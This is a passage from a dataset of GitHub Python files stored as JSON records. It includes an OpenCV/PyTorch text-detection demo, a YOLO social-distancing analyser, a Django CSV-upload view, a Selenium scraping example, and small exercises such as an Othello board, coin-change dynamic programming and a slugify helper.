int(trbrY)), cv2.FONT_HERSHEY_SIMPLEX,0.65, (255, 255, 255), 1)\n\n # show the output image\n #cv2.imshow(\"Image\", orig)\n #cv2.waitKey(0)\n cv2.drawContours(orig,[box],0,(200,23,200),1)\n\n #x,y=np.int0(tuple(cnt[1][0]))\n ##check area of each contours, if open contouts area are not taken in closed way..\n #cv2.putText(orig, \"No.{:}\".format(area),(x,y), cv2.FONT_HERSHEY_SIMPLEX,0.65, (255, 255, 255), 2)\n #i=i+1\n\ncv2.imshow('Original',orig)\ncv2.waitKey(0)\n\ncv2.destroyAllWindows\n","repo_name":"abhinavazad/Grain-Detector-Analyzer","sub_path":"code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":7707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"9141640082","text":"import os\nimport cv2\nimport sys\nimport time\nimport collections\nimport torch\nimport argparse\nimport numpy as np\nimport random\nfrom PIL import Image\n\nfrom torch.autograd import Variable\nfrom torch.utils import data\nimport torchvision.transforms as transforms\n\nimport models\nimport util\n# c++ version pse based on opencv 3+\nfrom pse import pse\n\nrandom.seed(123456)\n\n\ndef get_img(img_path):\n try:\n img = cv2.imread(img_path)\n img = img[:, :, [2, 1, 0]]\n except Exception as e:\n print(img_path)\n raise\n return img\n\n\ndef scale(img, long_size=2240):\n h, w = img.shape[0:2]\n scale = long_size * 1.0 / max(h, w)\n img = cv2.resize(img, dsize=None, fx=scale, fy=scale)\n return img\n\n\nclass DemoDataLoader(data.Dataset):\n def __init__(self, input_path, part_id=0, part_num=1, long_size=2240):\n data_dirs = [input_path]\n\n self.img_paths = []\n\n for data_dir in data_dirs:\n img_names = util.io.ls(data_dir, '.jpg')\n img_names.extend(util.io.ls(data_dir, '.png'))\n\n img_paths = []\n for idx, img_name in enumerate(img_names):\n img_path = data_dir + img_name\n img_paths.append(img_path)\n\n self.img_paths.extend(img_paths)\n\n part_size = len(self.img_paths) / part_num\n l = int(part_id * part_size)\n r = int((part_id + 1) * part_size)\n self.img_paths = self.img_paths[l:r]\n self.long_size = long_size\n\n def __len__(self):\n return len(self.img_paths)\n\n def __getitem__(self, index):\n img_path = self.img_paths[index]\n\n img = get_img(img_path)\n\n scaled_img = scale(img, self.long_size)\n scaled_img = Image.fromarray(scaled_img)\n scaled_img = scaled_img.convert('RGB')\n scaled_img = transforms.ToTensor()(scaled_img)\n scaled_img = transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])(scaled_img)\n\n return img[:, :, [2, 1, 0]], scaled_img\n\n\ndef debug(idx, img_paths, imgs, output_root):\n if not os.path.exists(output_root):\n os.makedirs(output_root)\n\n col = []\n for i in range(len(imgs)):\n row = []\n for j in range(len(imgs[i])):\n # img = cv2.copyMakeBorder(imgs[i][j], 3, 3, 3, 3, cv2.BORDER_CONSTANT, value=[255, 0, 0])\n row.append(imgs[i][j])\n res = np.concatenate(row, axis=1)\n col.append(res)\n res = np.concatenate(col, axis=0)\n img_name = img_paths[idx].split('/')[-1]\n print(idx, '/', len(img_paths), img_name)\n cv2.imwrite(output_root + img_name, res)\n\n\ndef write_result_as_txt(image_name, bboxes, path):\n filename = util.io.join_path(path, 'res_%s.txt' % (image_name))\n lines = []\n for b_idx, bbox in enumerate(bboxes):\n values = [int(v) for v in bbox]\n line = \"%d, %d, %d, %d, %d, %d, %d, %d\\n\" % tuple(values)\n lines.append(line)\n util.io.write_lines(filename, lines)\n\n\ndef test(args):\n data_loader = DemoDataLoader(long_size=args.long_size, input_path=args.input_dir)\n test_loader = torch.utils.data.DataLoader(\n data_loader,\n batch_size=1,\n shuffle=False,\n num_workers=2,\n drop_last=True)\n\n # Setup Model\n if args.arch == \"resnet50\":\n model = models.resnet50(pretrained=True, num_classes=7, scale=args.scale)\n elif args.arch == \"resnet101\":\n model = models.resnet101(pretrained=True, num_classes=7, scale=args.scale)\n elif args.arch == \"resnet152\":\n model = models.resnet152(pretrained=True, num_classes=7, scale=args.scale)\n\n for param in model.parameters():\n param.requires_grad = False\n\n model = model.cuda()\n\n if args.resume is not None:\n if os.path.isfile(args.resume):\n print((\"Loading model and optimizer from checkpoint '{}'\".format(args.resume)))\n checkpoint = torch.load(args.resume)\n\n # model.load_state_dict(checkpoint['state_dict'])\n d = collections.OrderedDict()\n for key, value in list(checkpoint['state_dict'].items()):\n tmp = key[7:]\n d[tmp] = value\n model.load_state_dict(d)\n\n print((\"Loaded checkpoint '{}' (epoch {})\"\n .format(args.resume, checkpoint['epoch'])))\n sys.stdout.flush()\n else:\n print((\"No checkpoint found at '{}'\".format(args.resume)))\n sys.stdout.flush()\n\n model.eval()\n\n total_frame = 0.0\n total_time = 0.0\n with torch.no_grad():\n for idx, (org_img, img) in enumerate(test_loader):\n print(('progress: %d / %d' % (idx, len(test_loader))))\n sys.stdout.flush()\n\n img = Variable(img.cuda())\n org_img = org_img.numpy().astype('uint8')[0]\n text_box = org_img.copy()\n\n torch.cuda.synchronize()\n start = time.time()\n\n outputs = model(img)\n\n score = torch.sigmoid(outputs[:, 0, :, :])\n outputs = (torch.sign(outputs - args.binary_th) + 1) / 2\n\n text = outputs[:, 0, :, :]\n kernels = outputs[:, 0:args.kernel_num, :, :] * text\n\n score = score.data.cpu().numpy()[0].astype(np.float32)\n text = text.data.cpu().numpy()[0].astype(np.uint8)\n kernels = kernels.data.cpu().numpy()[0].astype(np.uint8)\n\n # c++ version pse\n pred = pse(kernels, args.min_kernel_area / (args.scale * args.scale))\n\n scale = (org_img.shape[1] * 1.0 / pred.shape[1], org_img.shape[0] * 1.0 / pred.shape[0])\n label = pred\n label_num = np.max(label) + 1\n bboxes = []\n for i in range(1, label_num):\n points = np.array(np.where(label == i)).transpose((1, 0))[:, ::-1]\n\n if points.shape[0] < args.min_area / (args.scale * args.scale):\n continue\n\n score_i = np.mean(score[label == i])\n if score_i < args.min_score:\n continue\n\n rect = cv2.minAreaRect(points)\n bbox = cv2.boxPoints(rect) * scale\n bbox = bbox.astype('int32')\n bboxes.append(bbox.reshape(-1))\n\n torch.cuda.synchronize()\n end = time.time()\n total_frame += 1\n total_time += (end - start)\n print(('fps: %.2f' % (total_frame / total_time)))\n sys.stdout.flush()\n\n for bbox in bboxes:\n cv2.drawContours(text_box, [bbox.reshape(4, 2)], -1, (0, 255, 0), 10)\n\n image_name = data_loader.img_paths[idx].split('/')[-1].split('.')[0]\n write_result_as_txt(image_name, bboxes, 'outputs/demo/')\n\n text_box = cv2.resize(text_box, (text.shape[1], text.shape[0]))\n debug(idx, data_loader.img_paths, [[text_box]], 'outputs/demo/')\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Hyperparams')\n parser.add_argument('--arch', nargs='?', type=str, default='resnet50')\n parser.add_argument('--resume', nargs='?', type=str, default=None,\n help='Path to previous saved model to restart from')\n parser.add_argument('--input_dir', nargs='?', type=str, default='../data/demo/',\n help='Path to input directory')\n parser.add_argument('--binary_th', nargs='?', type=float, default=1.0,\n help='Path to previous saved model to restart from')\n parser.add_argument('--kernel_num', nargs='?', type=int, default=7,\n help='Path to previous saved model to restart from')\n parser.add_argument('--scale', nargs='?', type=int, default=1,\n help='Path to previous saved model to restart from')\n parser.add_argument('--long_size', nargs='?', type=int, default=2240,\n help='Path to previous saved model to restart from')\n parser.add_argument('--min_kernel_area', nargs='?', type=float, default=5.0,\n help='min kernel area')\n parser.add_argument('--min_area', nargs='?', type=float, default=800.0,\n help='min area')\n parser.add_argument('--min_score', nargs='?', type=float, default=0.93,\n help='min score')\n\n args = parser.parse_args()\n test(args)\n","repo_name":"shin7/Text-Detection","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":8328,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"23520943695","text":"import random\nimport sys\n\ndef drawBoard(board):\n\n horizontal = '-|-|-|-|-|'\n vertical = '||||||||'\n\n print(' 1 2 3 4 5 6 7 8')\n\n print(horizontal)\n for y in range (8):\n print(vertical)\n print(y+1, end='')\n for x in range(8):\n print('|%s(board[x][y]),end=')\n print(\"|\")\n print(vertical)\n print(horizontal)\n\n\ndef getNewBoard():\n board = []\n for i in range(8):\n board.append(['']*8)\n return board\n\ndef resetBoard(board):\n for x in range (8):\n for y in range (8):\n board[x][y]=''\n\n board[3][3]='X'\n board[3][4]='X'\n board[4][3]='X'\n board[4][4]='X'\n\n\ndef main():\n mainBoard = getNewBoard()\n resetBoard(mainBoard)\n\n\ndef print_horiz_line():\n print(\"---\" * board_size)\n\ndef print_vert_line():\n print(\"| \"*(board_size + 1))\n\nprint('Welcome to Othello!')\nboard_size = int(input(\"How many rows do you want your board to be?\"))\nprint('Hint: Othello has 64 squares, so you would enter 8')\n\nfor index in range(board_size):\n print_horiz_line()\n print_vert_line()\n\n\n","repo_name":"Dcrawf/Othelloboard","sub_path":"othelloboard.py","file_name":"othelloboard.py","file_ext":"py","file_size_in_byte":1103,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"4233245503","text":"'''\nÉste codigo inicia el webdriver geckodriver de firefox\ncon la libreria selenium, ingresa a una pagina dinámica con Ajax\nObtiene el resultado en base al codigo fuente con la libreria BeautifulSoup\n'''\n\nfrom bs4 import BeautifulSoup\nfrom selenium import webdriver\nfrom selenium.webdriver.firefox.options import Options\nimport time\n\nfirefox_options = Options()\n#firefox_options.add_argument(\"--headless\")\ndriver = webdriver.Firefox(executable_path='../Webdriver/geckodriver', options=firefox_options)\n\n\ndriver.get('http://pythonscraping.com/pages/javascript/ajaxDemo.html')\n\n# El codigo fuente de la pagina\npageSource = driver.page_source\n\nbs = BeautifulSoup(pageSource, 'html.parser')\nprint(bs.find(id='content').get_text())\n\ntime.sleep(5)\npageSource = driver.page_source\n\nbs = BeautifulSoup(pageSource, 'html.parser')\nprint(bs.find(id='content').get_text())\ndriver.close()\n","repo_name":"memo26167/redes_neuronales_ufro","sub_path":"Web-Scraping/Clase7/codigo2_modificado.py","file_name":"codigo2_modificado.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"es","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"9358338411","text":"#coding=utf-8\r\n# Create your views here.\r\nfrom newtest.address.models import Address\r\nfrom django.http import HttpResponseRedirect\r\nfrom django.shortcuts import render_to_response\r\nfrom django.conf import settings\r\nfrom django.contrib.admin.views.decorators import staff_member_required\r\n\r\n@staff_member_required\r\ndef upload(request):\r\n if request.user.username != settings.UPLOAD_USER:\r\n return render_to_response('address/error.html',\r\n {'message':'你需要使用 %s 来登录！' % settings.UPLOAD_USER})\r\n\r\n file_obj = request.FILES.get('file', None)\r\n if file_obj:\r\n import csv\r\n import StringIO\r\n content = ''\r\n for chunk in file_obj.chunks():\r\n content = content + chunk\r\n buf = StringIO.StringIO(content)\r\n try:\r\n reader = csv.reader(buf)\r\n except:\r\n return render_to_response('address/error.html',\r\n {'message':'你需要上传一个csv格式的文件！'})\r\n for row in reader:\r\n# objs = Address.objects.get_list(name__exact=row[0])\r\n objs = Address.objects.filter(name=row[0])\r\n if not objs:\r\n obj = Address(name=row[0], gender=row[1],\r\n telphone=row[2], mobile=row[3], room=row[4])\r\n else:\r\n obj = objs[0]\r\n obj.gender = row[1]\r\n obj.telphone = row[2]\r\n obj.mobile = row[3]\r\n obj.room = row[4]\r\n obj.save()\r\n\r\n return HttpResponseRedirect('/address/')\r\n else:\r\n return render_to_response('address/error.html',\r\n {'message':'你需要上传一个文件！'})\r\n\r\n","repo_name":"ghosertEclipse/EclipseProject","sub_path":"python-workspace/TestDjango/newtest/address/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1697,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"5744786091","text":"#{\n# Driver Code Starts\n#Initial Template for Python 3\n\n# } Driver Code Ends\n#User function Template for python3\n\n\nclass Solution:\n\n def count(self, coins, N, Sum):\n dp = [[-1 for _ in range(Sum + 1)] for _ in range(N + 1)]\n\n for i in range(N + 1):\n dp[i][0] = 1\n\n for i in range(1, Sum + 1):\n dp[0][i] = 0\n\n for i in range(1, N + 1):\n for j in range(1, Sum + 1):\n dp[i][j] = dp[i - 1][j]\n if coins[i - 1] <= j:\n dp[i][j] += dp[i][j - coins[i - 1]]\n print(dp)\n return dp[-1][-1]\n\n def rec(self, coins, pointer, s):\n if s == 0:\n return 1\n if s < 0:\n return 0\n if pointer >= len(coins):\n return 0\n\n return self.rec(coins, pointer, s - coins[pointer]) + self.rec(\n coins, pointer + 1, s)\n\n\n#{\n# Driver Code Starts.\n\n\ndef main():\n s = Solution()\n print(s.count([1, 2, 3], 3, 4))\n\n\nif __name__ == \"__main__\":\n main()\n\n# } Driver Code Ends","repo_name":"Aryanamish/daily_practice","sub_path":"geeks/dynamic_programming/coin_change.py","file_name":"coin_change.py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"28737391698","text":"\nmystr = \"hello my world \"\narr = [i for i in mystr]\ndef rem_white_space(x) :\n\tx = x.split(\" \")\n\twhile \" \" in x:\n\t\tx.remove( \" \")\n\tif \" \" not in x:\n\t\tx = \"\".join(x)\n\t\tprint(len(x))\n\t\treturn x\n\t\t\ndef slugify(x, char = \"-\"):\n\timport string \n\tif type(char) != type(string.punctuation) and char not in string.punctuation:\n\t\tchar = \"-\"\n\t\treturn f\"{char}\".join(x.split())\n\treturn f\"{char}\".join(x.split())\nword=\" this is not really nice for today\"\nx = slugify(word)\nprint(x)","repo_name":"lovebreed01/awesome-python-files","sub_path":"slug.py","file_name":"slug.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12279880321","text":"import time\nimport math\nimport cv2\nimport numpy as np\nimport os\nimport os.path\nimport imutils\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\nimport scipy.spatial\n\n\nconfid = 0.2\nthresh = 0.1\nanchorYOLOv3 = 32\nanchorSetting = (anchorYOLOv3*16, anchorYOLOv3*9)\n\nvname=input(\"Video path: \")\nif(vname==\"\"):\n vname=\"videos/cctvMall.mp4\"\nvid_path = str(vname)\n\nvideoResolution = 960 #This is just a numer that works well for my hardware and it's for tests only\n\n\nangle_factor = 0.4\nH_zoom_factor = 0.4\n\nprint(\"VIDEO PATH: {}\".format(vid_path))\n\nlabelsPath = \"coco.names\"\nLABELS = open(labelsPath).read().strip().split(\"\\n\")\n\nnp.random.seed(42)\n\n\n###### use this for faster processing (caution: slighly lower accuracy) ###########\n\nweightsPath = \"yolov3-tiny.weights\" ## https://pjreddie.com/media/files/yolov3-tiny.weights\nconfigPath = \"yolov3-tiny.cfg\" ## https://github.com/pjreddie/darknet/blob/master/cfg/yolov3-tiny.cfg\n\n\nnet = cv2.dnn.readNetFromDarknet(configPath, weightsPath)\nln = net.getLayerNames()\nln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()]\nFR=0\n\n\n### GET THE HOMOGRAPHY POINTS AND THEN MOVE ON ###\nrefPt = []\ncropping = False\n\ndef new_order_points(frame, pts):\n arr = [[0, 0], [frame.shape[1], 0], [frame.shape[1], frame.shape[0]], [0, frame.shape[0]]]\n auxarr = []\n for i in range(len(arr)):\n dmin = 10000000000000.0\n for j in range(len(pts)):\n d = scipy.spatial.distance.euclidean(pts[j], arr[i])\n if d < dmin:\n pos = i\n dmin = d\n auxarr.append(pts[pos])\n print(auxarr)\n return auxarr\n\n\ndef order_points(pts):\n xSorted = pts[np.argsort(pts[:, 0]), :]\n leftMost = xSorted[:2, :]\n rightMost = xSorted[2:, :]\n leftMost = leftMost[np.argsort(leftMost[:, 0]), :]\n (tl, bl) = leftMost\n D = scipy.spatial.distance.cdist(tl[np.newaxis], rightMost, \"euclidean\")[0]\n (br, tr) = rightMost[np.argsort(D)[::-1], :]\n return np.array([tl, tr, br, bl], dtype=\"float32\")\n\ndef four_point_transform(frame, pts):\n decW = frame.shape[1]\n decH = frame.shape[0]\n rect = order_points(pts)\n print(rect)\n (tl, tr, br, bl) = rect\n tl[0] = tl[0]\n tl[1] = tl[1]\n tr[0] = tr[0]\n tr[1] = tr[1]\n br[0] = br[0]\n br[1] = br[1]\n br[0] = br[0]\n bl[1] = bl[1]\n dst = np.array([[0, 0], \n [decW, 0], \n [decW, decH], \n [0, decH]], dtype = \"float32\")\n M, status = cv2.findHomography(rect, dst)\n return M\n\n\ndef click_and_crop(event, x, y, flags, param):\n global refPt, cropping\n if event == cv2.EVENT_LBUTTONDOWN:\n refPt.append((x, y))\n\n\ndef getHomographyPoints(image):\n #we need to improve this applying https://docs.opencv.org/3.4.0/d9/dab/tutorial_homography.html#tutorial_homography_Demo3\n clone = image.copy()\n cv2.namedWindow(\"image\")\n cv2.setMouseCallback(\"image\", click_and_crop)\n # keep looping until the 'q' key is pressed\n while(len(refPt)<5):\n # display the image and wait for a keypress\n cv2.imshow(\"image\", image)\n cv2.putText(image, \"MARK 4 PLANE PERPENDICULAR POINTS | (R) TO RESTART\", (15, 15), cv2.FONT_HERSHEY_SIMPLEX, 0.45, (0,0,0), 2)\n key = cv2.waitKey(1) & 0xFF\n # if the 'r' key is pressed, reset the cropping region\n if key == ord(\"r\") or key == ord(\"R\"):\n image = clone.copy()\n cv2.destroyAllWindows()\n cv2.namedWindow(\"image\")\n cv2.setMouseCallback(\"image\", click_and_crop)\n if len(refPt)>1:\n if len(refPt)==4:\n cv2.line(image, refPt[2], refPt[3], (0,255,0), 3)\n cv2.line(image, refPt[3], refPt[0], (0,255,0), 3)\n cv2.putText(image, \"4 POINTS MARKED | PRESS (C) TO CONTINUE\", (50, image.shape[0]-50), cv2.FONT_HERSHEY_SIMPLEX, 0.45, (0,255,0), 2)\n cv2.imshow(\"image\", image)\n else:\n cv2.line(image, refPt[len(refPt)-2], refPt[len(refPt)-1], (0,255,0), 3)\n if (key == ord(\"c\") or key == ord(\"C\")) and len(refPt)==4:\n cv2.destroyAllWindows()\n H = four_point_transform(image, np.array(refPt, dtype=\"float32\"))\n new_order_points(image, np.array(refPt, dtype=\"float32\"))\n return H, (np.array(refPt, dtype=\"float32\"))\n return 0\n\ndef generateFrameToMark(videoName):\n command = \"ffmpeg -ss 00:00:00.1 -i \"+videoName+\" -vframes 1 markThisFrame.jpg -y\"\n os.system(command)\n return 0\n\ndef initialTasks():\n generateFrameToMark(vid_path)#generate a frame to get the 4 points from the plane\n # This process will change in the future\n # This should be completely automatic\n frameToMark = cv2.imread('./markThisFrame.jpg') #the easiest way to handle this was using\n #FFMPEG to take the snapshot, save it and then\n #use it with OpenCV\n frameToMark = imutils.resize(frameToMark, width=960, height=540)\n if os.path.isfile(vid_path+'_mtx.npy') and os.path.isfile(vid_path+'_arr.npy'):\n opcion=input(\"A configuration file exist for this video. Keep config? Y/[n] \")\n if opcion=='y' or opcion == 'Y':\n transformationMatrix = np.load(vid_path+'_mtx.npy')\n print(\"Transformation Matrix loaded: {}\".format(transformationMatrix))\n arr = np.load(vid_path+'_arr.npy')\n print(\"Transformation points loaded: {}\".format(arr))\n else:\n print(\"Generate a new Transformation Matrix:\")\n transformationMatrix, arr = getHomographyPoints(frameToMark) #Here you receive the 3x3 Matrix to make the transformation\n #between the frame and the plane to map the objects \n #from one field to the other.\n # NOTES: REMEMBER IF YOU INVERT THIS MATRIX AND MAKE THE ANTI-TRANSFORMATION, \n # YOU SHOULD GET THE SAME RESULTS OR SIMILARS DUE TO THE PRECISION IN DECIMALS\n print(\"Transformation Matrix generated: {}\".format(transformationMatrix))\n np.save(vid_path+'_mtx.npy', transformationMatrix)\n np.save(vid_path+'_arr.npy', arr)\n print(\"Transformation points loaded: {}\".format(arr))\n else:\n print (\"Manual configuration required\")\n transformationMatrix, arr = getHomographyPoints(frameToMark) #Here you receive the 3x3 Matrix to make the transformation\n #between the frame and the plane to map the objects \n #from one field to the other.\n # NOTES: REMEMBER IF YOU INVERT THIS MATRIX AND MAKE THE ANTI-TRANSFORMATION, \n # YOU SHOULD GET THE SAME RESULTS OR SIMILARS DUE TO THE PRECISION IN DECIMALS\n print(\"Transformation Matrix generated: {}\".format(transformationMatrix))\n np.save(vid_path+'_mtx.npy', transformationMatrix)\n np.save(vid_path+'_arr.npy', arr)\n print(\"Transformation points loaded: {}\".format(arr))\n os.system(\"del markThisFrame.jpg\") #delete the generated frame to free the disk\n return transformationMatrix, arr\n\n#############################\n# TO DO: save the matrix values, frame used and camera configurations for future analysis\n#############################\n\nfig, ax = plt.subplots()\n\nlw = 3\nalpha = 0.5\nax.legend()\nplt.ion()\nplt.show()\n\n#### FROM HERE WE CALCULATE THE SOCIAL DISTANCE\n\ndef dist(c1, c2):\n return ((c1[0] - c2[0]) ** 2 + (c1[1] - c2[1]) ** 2) ** 0.5\n\ndef T2S(T):\n S = abs(T/((1+T**2)**0.5))\n return S\n\ndef T2C(T):\n C = abs(1/((1+T**2)**0.5))\n return C\n\ndef isclose(p1,p2):\n\n c_d = dist(p1[2], p2[2])\n a_w = (p1[0]+p2[0])/2\n a_h = (p1[1]+p2[1])/2\n T = 0\n try:\n T=(p2[2][1]-p1[2][1])/(p2[2][0]-p1[2][0])\n except ZeroDivisionError:\n T = 1.633123935319537e+16\n S = T2S(T)\n C = T2C(T)\n d_hor = C*c_d\n d_ver = S*c_d\n vc_calib_hor = a_w*1.3\n vc_calib_ver = a_h*0.4*angle_factor\n c_calib_hor = a_w *1.7\n c_calib_ver = a_h*0.2*angle_factor\n # print(p1[2], p2[2],(vc_calib_hor,d_hor),(vc_calib_ver,d_ver))\n if (0 confid:\n box = detection[0:4] * np.array([W, H, W, H])\n (centerX, centerY, width, height) = box.astype(\"int\")\n\n x = int(centerX - (width / 2))\n y = int(centerY - (height / 2))\n\n boxes.append([x, y, int(width), int(height)])\n confidences.append(float(confidence))\n classIDs.append(classID)\n\n idxs = cv2.dnn.NMSBoxes(boxes, confidences, confid, thresh)\n\n if len(idxs) > 0:\n\n status = []\n idf = idxs.flatten()\n close_pair = []\n s_close_pair = []\n center = []\n co_info = []\n for i in idf:\n (x, y) = (boxes[i][0], boxes[i][1])\n (w, h) = (boxes[i][2], boxes[i][3])\n cen = [int(x + w / 2), int(y + h / 2)]\n center.append(cen)\n normCen = np.asarray(cen, dtype=\"float32\")\n pointsToScatter.append(normCen)\n cv2.circle(frame, tuple(cen),1,(0,0,0),1)\n co_info.append([w, h, cen])\n status.append(0)\n for i in range(len(center)):\n for j in range(len(center)):\n g = isclose(co_info[i],co_info[j])\n if g == 1:\n close_pair.append([center[i], center[j]])\n status[i] = 1\n status[j] = 1\n elif g == 2:\n s_close_pair.append([center[i], center[j]])\n if status[i] != 1:\n status[i] = 2\n if status[j] != 1:\n status[j] = 2\n total_p = len(center)\n low_risk_p = status.count(2)\n high_risk_p = status.count(1)\n safe_p = status.count(0)\n kk = 0\n\n\n\n for i in idf:\n cv2.line(FR,(0,H+1),(FW,H+1),(0,0,0),2)\n cv2.putText(FR, \"Social Distancing\", (210, H+60),\n cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 0), 2)\n cv2.rectangle(FR, (20, H+80), (510, H+180), (100, 100, 100), 2)\n cv2.putText(FR, \"Las lineas conectadas representan la cercania de las personas. \", (30, H+100),\n cv2.FONT_HERSHEY_SIMPLEX, 0.6, (100, 100, 0), 2)\n cv2.putText(FR, \"--Amarillo: Cerca\", (50, H+90+40),\n cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 170, 170), 2)\n cv2.putText(FR, \"--Rojo: Muy Cerca (Peligroso)\", (50, H+40+110),\n cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 255), 2)\n\n cv2.rectangle(FR, (535, H+80), (1060, H+140+40), (100, 100, 100), 2)\n cv2.putText(FR, \"Lo que marca a la person indica el nivel de riesgo.\", (545, H+100),\n cv2.FONT_HERSHEY_SIMPLEX, 0.6, (100, 100, 0), 2)\n cv2.putText(FR, \"--Rojo: Alto Riesgo\", (565, H+90+40),\n cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 150), 2)\n cv2.putText(FR, \"--Naranja: Mediano Riesgo\", (565, H+150),\n cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 120, 255), 2)\n\n cv2.putText(FR, \"--Verde: Bajo\", (565, H+170),\n cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 150, 0), 2)\n\n \n tot_str = \"TOTAL: \" + str(total_p)\n high_str = \"ALTO RIESGO: \" + str(high_risk_p)\n low_str = \"MEDIANO RIESGO: \" + str(low_risk_p)\n safe_str = \"BAJO RIESGO: \" + str(safe_p)\n\n cv2.putText(FR, tot_str, (10, H +25),\n cv2.FONT_HERSHEY_SIMPLEX, 0.6, (0, 0, 0), 2)\n cv2.putText(FR, safe_str, (200, H +25),\n cv2.FONT_HERSHEY_SIMPLEX, 0.6, (0, 170, 0), 2)\n cv2.putText(FR, low_str, (380, H +25),\n cv2.FONT_HERSHEY_SIMPLEX, 0.6, (0, 120, 255), 2)\n cv2.putText(FR, high_str, (630, H +25),\n cv2.FONT_HERSHEY_SIMPLEX, 0.6, (0, 0, 150), 2)\n\n (x, y) = (boxes[i][0], boxes[i][1])\n (w, h) = (boxes[i][2], boxes[i][3])\n if status[kk] == 1:\n cv2.rectangle(frame, (x, y), (x + w, y + h), (0, 0, 150), 2)\n\n elif status[kk] == 0:\n cv2.rectangle(frame, (x, y), (x + w, y + h), (0, 255, 0), 2)\n\n else:\n cv2.rectangle(frame, (x, y), (x + w, y + h), (0, 120, 255), 2)\n\n kk += 1\n\n for h in close_pair:\n cv2.line(frame, tuple(h[0]), tuple(h[1]), (0, 0, 255), 2)\n for b in s_close_pair:\n cv2.line(frame, tuple(b[0]), tuple(b[1]), (0, 255, 255), 2)\n \n FR[0:H, 0:W] = frame\n #FR[H:FR.shape[0],W:FR.shape[1]] = realTimeScatterPlot\n frame = FR\n cv2.imshow('Social distancing analyser', frame)\n cv2.waitKey(1)\n plotScatter = getTransformedPoints(pointsToScatter)\n fig.canvas.flush_events()\n ax.set_xlim(xy0[0], xy0[2])\n ax.set_ylim(xy0[1], xy0[3])\n ax.set_title('Mapped Persons')\n ax.set_xlabel('X')\n ax.set_ylabel('Y')\n ax.scatter(plotScatter[:,:,0], plotScatter[:,:,1], color='green')\n fig.canvas.draw()\n plt.draw()\n#################\n if writer is None:\n fourcc = cv2.VideoWriter_fourcc(*\"MJPG\")\n writer = cv2.VideoWriter(\"outputSD.avi\", fourcc, 30,\n (frame.shape[1], frame.shape[0]), True)\n writer.write(frame)\nprint(\"Processing finished: open\"+\" op_\"+vname)\nif writer is not None:\n writer.release()\nvs.release()\n","repo_name":"fiv21/SD-Module","sub_path":"perspectiveTransformGenerator.py","file_name":"perspectiveTransformGenerator.py","file_ext":"py","file_size_in_byte":16500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"25104538550","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jun 27 04:16:28 2021\n\n@author: fernando\n\"\"\"\n\nimport cv2 as cv\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\n\nfichero = 'img1.png'\n\nimage = cv.imread(fichero, cv.IMREAD_COLOR)\n\n[h,w,_] = image.shape\n\nh_line = 30\n\nR = np.copy(image[:,:,2])\nG = np.copy(image[:,:,1])\nB = np.copy(image[:,:,0])\n\nx = np.arange(w)\nr = R[h_line,:]\ng = G[h_line,:]\nb = B[h_line,:]\nplt.plot(x,r,'r',linestyle='--',label='R')\nplt.plot(x,g,'g',label='G')\nplt.plot(x,b,'b',linestyle=':',label='B')\nplt.xlabel('Píxeles')\nplt.ylabel('Valores')\nplt.legend(loc=0)\nplt.savefig('perfil-rgb.png', dpi=300)\n\ncv.line(image, (0,h_line), (w,h_line), (0,0,255), 1)\n\ncv.imwrite('img1-linea.png', image)\n\nR=R.astype(int)\nG=G.astype(int)\nB=B.astype(int)\nExG = 2*G-R-B\nExG[ExG>255]=255\nExG[ExG<0]=0\nExG=ExG.astype('uint8')\n\ncv.imwrite('img1-exg.png', ExG)\n\ne = ExG[h_line,:]\nplt.figure()\nplt.plot(x,e,'black',label='$ExG_{RGB}$')\nplt.xlabel('Píxeles')\nplt.ylabel('Valores')\nplt.legend(loc=0)\nplt.savefig('perfil-exg.png', dpi=300)\n","repo_name":"fcamussi/girasol-scripts","sub_path":"seg.py","file_name":"seg.py","file_ext":"py","file_size_in_byte":1065,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"10580870784","text":"import numpy as np\nimport pysnooper\nfrom tictactoe_mini import initial_mini_state\n\nclass TicTacToeState(object):\n def __init__(self, board, action):\n self.board = board.copy()\n self.last_action = action\n\n def is_max_players_turn(self,boolean=1):\n return (self.board == \"O\").sum() == (self.board == \"X\").sum()\n def is_min_players_turn(self):\n return not self.is_max_players_turn()\n def valid_actions(self):\n actions = list(zip(*np.nonzero(self.board == \"_\")))\n true_valid = []\n\n for action in actions:\n if self.last_action == (action[0],action[1]):\n temp_state = initial_mini_state(self.board[action[0],action[1]])\n if temp_state.is_leaf():\n continue\n else:\n true_valid.append(action)\n #random pick if defined grid unavliable\n if true_valid == []:\n for action in actions:\n if self.last_action != (action[0],action[1]):\n temp_state = initial_mini_state(self.board[action[0],action[1]])\n if temp_state.is_leaf():\n continue\n else:\n true_valid.append(action)\n\n return true_valid\n\n def 